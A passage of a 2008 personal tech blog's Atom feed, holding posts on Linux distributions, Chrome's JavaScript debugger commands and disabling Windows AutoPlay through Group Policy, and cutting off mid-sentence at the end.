justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Well this is all about a small fish which lives in Linux. With this technology I was able to transfer all of 2GB file without any problem to my other machine across the network. &lt;i&gt;Hope you will also try fishing in Linux&lt;/i&gt; :).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Courtsey: &lt;a href="http://www.linux.org/lessons/short/fish/t1.html"&gt;Linux.org&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6750684884956976754?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/10/have-you-gone-fishing-in-linux.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6750684884956976754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6750684884956976754'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/10/have-you-gone-fishing-in-linux.html' title='Have you gone fishing in Linux ? !!'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNJeBulamI/AAAAAAAAAYA/-Eu6v_lmTt4/s72-Rc/fish1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7627198136567971905</id><published>2008-10-13T08:01:00.000-07:00</published><updated>2008-10-13T22:26:25.909-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Linux - According to me</title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Linux was created by Linus Benedict Torvalds&lt;span style="border-collapse: separate; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;/span&gt; in 1991. &lt;a href="http://en.wikipedia.org/wiki/Linux_kernel"&gt;Linux is a operating system Kernel&lt;/a&gt; used by a family of &lt;a href="http://en.wikipedia.org/wiki/Unix-like"&gt;Unix Like&lt;/a&gt; operating systems.It is released under the &lt;a href="http://en.wikipedia.org/wiki/GNU_General_Public_License"&gt;GNU General Public License version 2&lt;/a&gt;(GPLv2).&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; According to me now a days LINUX is the name given to collection of Operating System in common rather than any single OS. There are many communities providing Linux-Distro's some of them are &lt;a href="http://www.redhat.com/"&gt;Red Hat,&lt;/a&gt;&lt;a href="http://fedoraproject.org/"&gt;Fedora&lt;/a&gt;, &lt;a href="http://www.mandriva.com/"&gt;Mandriva&lt;/a&gt;, &lt;a href="http://www.debian.org/"&gt;Debian&lt;/a&gt;,&lt;a href="http://www.slackware.com/"&gt; Slackware(oldest surviving Linux distro)&lt;/a&gt; and so on. I've worked already on Red Hat Enterprise,Fedora,Ubuntu,Mandriva and Open SUSE. After working on these flavours of Linux I want to share my experiences and thoughts.&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The main difference between all these flavours which I worked are their GUI and User friendliness. Even though it is better to work on Linux system through shell prompt there are times where we need to use the GUI and when we use it we want it to be friendly with us. Well if you are looking for User friendly Linux distro's I suggest you to use the Ubuntu or Mandriva. I personally recommend Mandriva (my experience). The GUI i Red Hat and Fedora are good but when it comes to system administration, software installation and removal Mandriva is good because of its user friendly Control Center which allows us to do all the system maintenance from a single place. Even though Fedora 8 ,Fedora 9 and Open SUSE are having the control center its not as effective as Mandriva's Control center. Following are the screen shots of Mandriva Control Center.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SPN5kbxFzlI/AAAAAAAAAX4/bjfCaKGVZNc/s1600-h/screenshot-1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SPN5kbxFzlI/AAAAAAAAAX4/9-DHCZslo-I/s400-R/screenshot-1.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now lets look at the development end as a programmer I prefer either Red Hat or Fedora the most next preference is to Mandriva. The reason for this may be because I started programming in Red Enterprise Linux and Fedora is &lt;span style="border-collapse: separate; color: black; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;i style="font-style: normal; text-decoration: inherit;"&gt;a&lt;/i&gt; &lt;span style="font-size: small;"&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;project is maintained and driven by the community and sponsored by&lt;/span&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;i style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-style: normal; font-weight: bold; text-decoration: inherit;"&gt;Red Hat&lt;/i&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt; for this reason most of the programming environment is similar to Red Hat.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt; Mandriva even though good for programming some required library files are placed in the locations other than the one in which they are normally found on other Linux platforms. I experienced this when I first migrated from Red Hat platform to Mandriva 2008. Actually what happened is in Red Hat after compiling lex programs with lex commands generated C file (lex.yy.c) should be compiled with C compiler (cc or gcc) by giving switch &lt;/span&gt;&lt;/span&gt;&lt;b&gt;-ll&lt;/b&gt;&lt;/span&gt; which stands for Lex Library but in Mandriva an error was reported by &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;ld(linker) &lt;/b&gt;that specified library is not found same thing happened when I tried to compile file generated by &lt;b&gt;yacc &lt;/b&gt;command. Later I found that some of required library files are placed in different path than it should be.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; Commands are the third thing which I want to talk. Some of the commands which I found in Red Hat and Fedora are not found in Open SUSE!!!&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; Next is installation of the third party software in Linux OS, its the most difficult job for developers to develop the software that can run on all the Linux platforms and thereby user should use only those specified flavours of Linux to run this programs.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; After seeing all these problems I thought that it would be better if following changes are made to Linux&lt;/span&gt;&lt;/div&gt;&lt;ul style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;There should be a central controlling committee for Linux which should bring out a single Kernel that should be used by all the flavours. All the communities&amp;nbsp; should provide the changes made to the Kernel by them to this committee and this committee is responsible for coming up with final Kernel which should be used by all communities providing Linux Distro's&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;This helps a lot for the developer to come up with a software program that can be used on any Linux flavours without much changes and thus the user can use the distro's they like&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ul style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;There should be a standard file system hierarchy that should be followed by all the Distro's (i.e system, administration, Development, Library files should be placed in the same well defined locations).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: small;"&gt;There should be a standard set of commands that should be present in all distro's&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;After following these rules the different distro's can provide their own UI.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small;"&gt;&amp;nbsp;&amp;nbsp; Thus if all the distro's follow these rules it'll be really helpful to third party Software developers and Programmers and Linux will become number one OS in the world. &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7627198136567971905?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/10/linux-according-to-me.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7627198136567971905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7627198136567971905'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/10/linux-according-to-me.html' title='Linux - According to me'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pms4ehFPMfI/SPN5kbxFzlI/AAAAAAAAAX4/9-DHCZslo-I/s72-Rc/screenshot-1.JPG' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3733960153181703057</id><published>2008-10-08T10:49:00.000-07:00</published><updated>2008-10-14T11:15:53.668-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Developers'/><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><title type='text'>Help for Developer in Google Chrome</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;b&gt;Chrome&lt;/b&gt; a browser from Google Inc came into market recently. I think is a fastest browser to &lt;b&gt;browse in the web&lt;/b&gt;. According to me it is not good for downloading things compared to Mozilla. Chrome has many feature unlike any browser its very light weight browser, doesn't take time to load and of the all features this is a browser meant for developer.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SOz1CiLsBbI/AAAAAAAAAXQ/UZhKE4XEqSc/s1600-h/dlpage_lg.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SOz1CiLsBbI/AAAAAAAAAXQ/ihx2yXSVHHs/s400-R/dlpage_lg.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;How I came across the development features of the Chrome?&lt;div style="text-align: justify;"&gt;Well I'm doing a Web based project and I wrote a java script to validate the form in a html page. This script is triggered when user clicks on the submit button. The main purpose of the script is to see that user fills in all the required fields before the form is processed by Java Server Pages. If form is incomplete page will not be submitted for further processing. A warning message box appears and error messages will be written below all the required &amp;amp; incomplete fields. When you submit incomplete form Screen looks some what like this.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz4BONljOI/AAAAAAAAAXY/bNceFMI6iJc/s1600-h/chome.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz4BONljOI/AAAAAAAAAXY/6Kgb0kuJT8I/s400-R/chome.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Coming back to the developper support in Chrome, I got this problem in the script even when i complete the form and submit still alert box used to pop up and page will not be processed, of the all I was new to javascript and i don't know what was the problem. But when I looked in the File&amp;gt;Developer section of Chrome i came across the javascript debugger. The debugger console looks like this&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz5TIA5k0I/AAAAAAAAAXg/PC44kAXfQdE/s1600-h/chrome2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz5TIA5k0I/AAAAAAAAAXg/OFndxbWHRZc/s400-R/chrome2.JPG" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;After launching java script debugger just type help you will get few commands and their usage. The commands are&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;1.&lt;b&gt;break&lt;/b&gt; : Used to setup break points in the java script.&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="border-collapse: separate; color: black; font-family: -webkit-monospace; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;"&gt;&lt;span style="font-size: small;"&gt; usage:&lt;b&gt; break [location] &lt;condition&gt;&lt;/condition&gt;&lt;/b&gt;&lt;br /&gt;location is one of &lt;b&gt;&lt;function&gt; | &lt;script:function&gt; | &lt;script:line&gt; | &lt;script:line:pos&gt;&lt;/script:line:pos&gt;&lt;/script:line&gt;&lt;/script:function&gt;&lt;/function&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;You can specify function name or the line in the java script file. If there multiple scripts for a HTML page then you can specify it as &lt;b&gt;script name:function&lt;/b&gt; or &lt;b&gt;script name:line&lt;/b&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. Once break point is set then do the action which triggers the java script. (in my case the event is onsubmit i.e on pressing submit button.) Script starts running and you will get a message some what like this&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;span class="Apple-style-span" style="border-collapse: separate; color: black; font-family: -webkit-monospace; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;"&gt;paused at breakpoint 1: checkform(form=#&lt;an htmlformelement=""&gt;), file:///D:/Programming/project/checkform.js&lt;br /&gt;5:  if(form.password.value != form.cpassword.value)&lt;/an&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;span class="Apple-style-span" style="border-collapse: separate; color: black; font-family: -webkit-monospace; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;"&gt;&lt;span style="font-size: small;"&gt;3. &lt;b&gt;break_info&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; : gives number of break points in current script and information about each break point.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;4. &lt;b&gt;scripts&lt;/b&gt; : This command gives name of the scripts associated with current web page.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;5. &lt;b&gt;clear&lt;/b&gt; : This command takes the break point number returned by break or break_info command. Is used to clear the break points&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;6. &lt;b&gt;print : &lt;/b&gt;Takes expression or variable name as argument. Used to check the values of variables or expression in the script.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;Once script starts running you will get few more commands.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1.&lt;b&gt;step&lt;/b&gt; : Used to step into the function, if current statement is not a function it just executes one statement and stops&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. &lt;b&gt;next&lt;/b&gt; : Similar to step but instead of stepping into function this will execute entire function and stops at next line to function&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3.&lt;b&gt;locals&lt;/b&gt; : Gives the value of all the local variables in current context.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;4. &lt;b&gt;stepout&lt;/b&gt; : Resumes normal execution from current break point, ignores any further break point.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;5. &lt;b&gt;continue&lt;/b&gt; : Similar to stepout but stops at next break point.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;This is a really helpfull tool for a developer to find faults in their scripts, and is not present in any browser.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Next development tool provided by Chrome is &lt;b&gt;java script console&lt;/b&gt; which allows to find errors in the java scripts and is also a DOM inspector.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Last but not the least is the &lt;b&gt;task manager&lt;/b&gt; which allows the developer to see how much memory is his web page consuming. Not only that it tells how much memory each tab in Chrome is consuming and if flash contents are present it tells how much memory the Shock Wave Plugin is consuming. Following is a view of task manager&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SO0BhSa-rcI/AAAAAAAAAXo/mWFxoBwMumY/s1600-h/chome3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SO0BhSa-rcI/AAAAAAAAAXo/zcfFdv9KQGo/s400-R/chome3.JPG" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Whether people like Chrome or not but it is a really a gift for the developers, and I thank google for providing us such a good web browser.&amp;nbsp; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3733960153181703057?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/10/help-for-developer-in-google-chrome.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3733960153181703057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3733960153181703057'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/10/help-for-developer-in-google-chrome.html' title='Help for Developer in Google Chrome'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pms4ehFPMfI/SOz1CiLsBbI/AAAAAAAAAXQ/ihx2yXSVHHs/s72-Rc/dlpage_lg.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1392879439000117295</id><published>2008-09-27T08:11:00.000-07:00</published><updated>2008-09-29T10:31:37.552-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='autoplay'/><title type='text'>Disabling Auto Play in Windows</title><content type='html'>All of you might have come across the autoplay when we insert any CD or DVD or USB Device. A pop up window will asking how do you want to open the drive. What actually happens here is that OS reads your removable device either it may be a USB or it may be CD or DVD to see what are the possible applications that you can use to open the drive. And if the USB drive is infected with a autorun file when you click open virus will enter into your system. This autoplay feature is used by most of famous antivirus software (nod32,avast) to catch any possible infections as soon as you insert your USB to the machine. Once you disable antivirus doesn't detect virus as soon as you insert your pen drive, but don't worry it will catch the virus once you scan your drive. I suggest you disable this autoplay feature in your computer.&lt;br /&gt;The steps for disabling autoplay are&lt;br /&gt;1. Click on start then on&lt;b&gt; run&lt;/b&gt; and in the run window type &lt;b&gt;gpedit.msc &lt;/b&gt;and click OK.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5VwJjfWFI/AAAAAAAAAWA/u8CQhOWrV7k/s1600-h/run.bmp" imageanchor="1" linkindex="71" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5VwJjfWFI/AAAAAAAAAWA/f1afd_EtTTE/s400-R/run.bmp" border="0" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;2. The group policy editor window will open as shown below.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SN5Za2dWehI/AAAAAAAAAWQ/eFT6EAfXaN0/s1600-h/grouppolicyeditor.JPG" imageanchor="1" linkindex="72" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SN5Za2dWehI/AAAAAAAAAWQ/Tdk7eiYEafk/s400-R/grouppolicyeditor.JPG" border="0" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt; 3. In the &lt;b&gt;Computer configuration&lt;/b&gt; collapse the Last option that is "&lt;b&gt;Administrative Template&lt;/b&gt;". In the Administrative Template select "&lt;b&gt;System&lt;/b&gt;" options (do not double click or collapse it). In the split window you will see lot of options. These steps are shown below.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5bwTfJ-RI/AAAAAAAAAWY/7yMIM9GUV4M/s1600-h/system.JPG" imageanchor="1" linkindex="73" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5bwTfJ-RI/AAAAAAAAAWY/UA2IUJSmaEE/s400-R/system.JPG" border="0" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;4. In the split window scroll a little down and select option "&lt;b&gt;turn off auto play &lt;/b&gt;" and double click on it, you will get a pop up window as shown below.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt; &lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5dlJM-dGI/AAAAAAAAAWg/UqD48HCOQOo/s1600-h/turnoff.JPG" imageanchor="1" linkindex="74" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5dlJM-dGI/AAAAAAAAAWg/2EiWTWCczk8/s400-R/turnoff.JPG" border="0" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5eSYQqiTI/AAAAAAAAAWo/70J2PK_bxrU/s1600-h/autoplayen.JPG" imageanchor="1" linkindex="75" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5eSYQqiTI/AAAAAAAAAWo/6LP0G9_kI-4/s400-R/autoplayen.JPG" border="0" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt; 5. By default the auto play is enabled in your computer i.e Turn Off auto play is disabled as shown in above picture. Now select &lt;b&gt;Enabled&lt;/b&gt;. Now from the drop down list &lt;b&gt;Turn Off Auto Play on&lt;/b&gt; select &lt;b&gt;All drives&lt;/b&gt;. (You will be given 2 options on CD-ROM and All drives I suggest you disable auto play on all drives). As shown below.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5hawS3ElI/AAAAAAAAAWw/58muW_2efkA/s1600-h/enabled.JPG" imageanchor="1" linkindex="76" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SN5hawS3ElI/AAAAAAAAAWw/at3kBnOasp4/s400-R/enabled.JPG" border="0" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;6. You are done now just click on &lt;b&gt;Apply &lt;/b&gt;and&lt;b&gt; OK.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b  style="color:red;"&gt;&lt;span style="font-size:x-small;"&gt;if you have any problem in doing this you 